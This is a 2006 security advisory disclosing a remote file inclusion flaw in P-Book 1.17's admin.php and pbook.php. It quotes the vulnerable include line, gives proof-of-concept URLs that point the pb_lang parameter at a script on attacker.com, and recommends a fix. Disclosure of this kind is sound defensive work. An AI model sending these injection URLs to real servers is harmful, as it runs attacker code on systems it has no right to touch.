P-Book 1.17 - 'pb_lang' Remote File Inclusion

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 |    __)_ /    \  \//    ~    \/   |   \
 |        \\     \___\    Y    /    |    \
/_______  / \______  /\___|_  /\_______  /
        \/         \/       \/         \/                              .OR.ID
ECHO_ADV_56$2006

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[ECHO_ADV_56$2006] P-Book <= 1.17 (pb_lang) Remote File Inclusion
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Author		: Ahmad Maulana a.k.a Matdhule
Date Found	: October, 18th 2006
Location	: Indonesia, Jakarta
web		: http://advisories.echo.or.id/adv/adv56-matdhule-2006.txt
Critical Lvl	: Highly critical
Impact		: System access
Where		: From Remote
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Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~


Application	: P-Book
version		: 1.17
URL		: http://www.PPoPn.net

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Vulnerability:
~~~~~~~~~~~~~~

I found vulnerability script admin.php

-----------------------admin.php----------------------
....
<?

$time = $reload * 60;
include("$pb_lang/language.php");
...
----------------------------------------------------------

Input passed to the "pb_lang" parameter in admin.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.

Also affected files:
pbook.php

Proof Of Concept:
~~~~~~~~~~~~~~~

http://target.com/[p-book_path]/admin.php?pb_lang=http://attacker.com/inject.txt?
http://target.com/[p-book_path]/pbook.php?pb_lang=http://attacker.com/inject.txt?

Solution:
~~~~~~~
- Sanitize variable $pb_lang on affected files.

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Shoutz:
~~~
~ solpot a.k.a chris, J4mbi  H4ck3r thx for the hacking lesson    :)
~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,anonymous
~ bius, lapets, ghoz, t4mbun_hacker, NpR, h4ntu, thama
~ [email protected], [email protected]
~ Solpotcrew Comunity (#nyubicrew), #e-c-h-o @irc.dal.net
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---
Contact:
~~~~

     matdhule[at]gmail[dot]com

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